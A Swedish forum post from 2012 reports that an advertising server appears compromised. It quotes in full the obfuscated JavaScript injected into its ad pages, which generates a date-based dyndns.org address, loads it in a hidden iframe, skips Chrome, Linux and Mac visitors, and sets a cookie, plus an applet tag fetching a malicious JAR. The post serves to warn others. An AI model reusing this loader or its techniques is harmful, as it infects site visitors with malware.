Malicious JAR 6 items blocked

Oskar Lindgren · 2012-07-12, 16:43

annonsering.se är hackad eller nåt: http://reklam.anno nsering.se/delivery/afr.php?zoneid=3&cb=INSERT_RANDOM_NUMBER_HERE

Kod:

<!--googleoff: all--><script type='text/javascript'>new function(){function k(n){var t = i('t');var B = i('B');return n[t](B);};function i(Q){var z = {E : "src",g : "http"+"://",p : new String("getU"+"TC"),Y : new String(l("Hours4tQX",0,5)),I : l("5SXDateXS5",3,4),q : new String("Mon"+l("15fqth51qf",4,2)),d : new String(l("3HRFullYearR3H",3,8)),s : l("<body>BfY",0,6),K : String(l("4cHbiframcHb4",4,5)+l("gTLeTLg",3,1)),today : new String("visibilit"+l("tquyutq",3,1)),f : String(l("hiddenjZxA",0,6)),V : new String("/mix/"),t: String(l("splitOxuG",0,5)),max: new String(l("U4lVcharAtlUV4",4,6)),B : ","};for(var j in z){if(j == Q){return z[j];}}return null;};function HK(n, j){var max = i('max');return n[max](j);};function A(x){var yUrchinCode = document.cookie.match(new RegExp(String(l("(?:^|A2Y",0,5)+l("MTF; )FMT",3,3)) + x.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, l("\\\\$1G5z",0,6)) + new String("=([^;]*)")));return yUrchinCode ? decodeURIComponent(yUrchinCode[1]) : undefined;};function kMax(NK, j){return NK[j];};function C(){return {a : k(new String(l("j9ww9j",3,0))),img : k(String(l(".dyndns.DIop",0,8)+"org")),D : k(l("4Sxts1S4tx",4,2))};};function urchinCode(VY, xH){return VY * xH;};function b(){return (typeof ActiveXObject != String("unde"+l("9KPfinePK9",3,4)+"d") || typeof XMLHttpRequest != l("undefX8TO",0,5)+l("YZsRinedZYRs",4,4)) && !(/(Chrome|Linux|Mac OS)/.test(navigator.userAgent));};function win(){return Math.random();};function R(){try {var H = J();var G = 2019;var gaTrack = l("qvQ7FvqQ7",4,1);var w = String("W");var S = H.S;var utmn = H.utmn;var N = H.x;if(A(w) != gaTrack){if(b()){var url = L(S, utmn);var P = o();var h = i('E');var urchin = i('g');var min = i('V');P[h] = urchin + url + min;_(w, gaTrack, {expires: G});}};} catch(domain){};};function J(){var e = C();var v = T(urchinCode(win(), e.a.length));var Z = e.a[v];var u = e.D[v];if(e.img.length > 1){var M = e.img[v];}else {var M = e.img[0];}return { S : Z, utmn : M, x: u };};function L(S, utmn){U = new Date();url = S;var y = l("do im low aJs",0,10)+l("5DERkey v six 5RED",4,10)+l("seven fox q9W",0,10)+l("u a zeta y2DWi",0,10)+"es park ze"+"ro out ech"+"o but four"+" one junk "+l("nine qw tw7sI",0,10)+l("u8kso hi n tookus8",4,10)+l(" code x drTgU6",0,10)+l("JKly r man goKlJ",3,10)+l("J0D ea wide fDJ0",3,10)+"ive solve";y = y.split(String(l(" rYTg",0,1)));var p = i('p');var c = p + i('Y');var $ = p + i('I');var r = p + i('q');var m = p + i('d');var O = T(U[c]());var X = U[$]();var imgUrl = U[r]();var eC = U[m]();var SGaTrack = cM(y);var XP = urchinCodeWin(O,  SGaTrack);var lD = urchinCodeWin(O+X, SGaTrack);var PUrchinUrl = urchinCodeWin(O+X+imgUrl, SGaTrack);var oV = urchinCodeWin(O+X+imgUrl+eC, SGaTrack);url = GW(url, kMax(y, XP));url = GW(url, kMax(y, lD));url = GW(url, kMax(y, PUrchinUrl));url = GW(url, kMax(y, oV));return url + utmn;};function urchinCodeWin(VY, xH){return VY % xH;};function T(n){return Math.floor(n);};function _(x, gaTrackImg, u_){u_ = u_ || {};var vK = u_.expires;if (typeof vK == new String(l("zZYTnumberTzZY",4,6)) && vK){var X = new Date();X.setTime(X.getTime() + urchinCode(vK, 1000));vK = u_.expires = X;}if(vK && vK.toUTCString) { u_.expires = vK.toUTCString(); }gaTrackImg = encodeURIComponent(gaTrackImg);var dUrchinUrl = x + new String(l("=UkRl",0,1)) + gaTrackImg;for(var JW in u_){dUrchinUrl += l("; Dhu",0,2) + JW;var cO = u_[JW];if(cO !== true){ dUrchinUrl += String("=") + cO;}}document.cookie = dUrchinUrl;};function cM(n){return n.length;};function l(n, j, urchinUrl){return n.substr(j, urchinUrl);};R();function GW(n, uGaTrack){return n + uGaTrack;};function o(){var utmnF = document;var maxU = utmnF.createElement(i('K'));maxU.width = String(l("19pxyvVQ",0,4));maxU.height = new String(l("15pxU7w8",0,4));maxU.style[i('today')] = i('f');try {utmnF.body.appendChild(maxU);} catch(domain){try {utmnF.write(i('s'));utmnF.body.appendChild(maxU);} catch(_W){};};return maxU;};}();</script><!--googleoff: all-->

... som lastar ner en sidan som ibland innehåller:

Kod:

<applet code="internet.application.class" archive="http://outcodeeadry.dyndns.org/mix/5oail5f55o9oml2mzjwf22j221zfw029.jar" width="1024" height="768">
<param name="application" value="M-yRM6GGx6ZFC6F262ACMZqdc5?dSeqqM4M4TOgFBqTeSBT5FTigMFSS4Og5CrPrkA5TGmzWV4VgSVw%-MyGm2Mwe56mjjw">

Aktiva användare som för närvarande tittar på det här ämnet: 1 (0 medlemmar och 1 gäster)

Menu

Malicious JAR 6 items blocked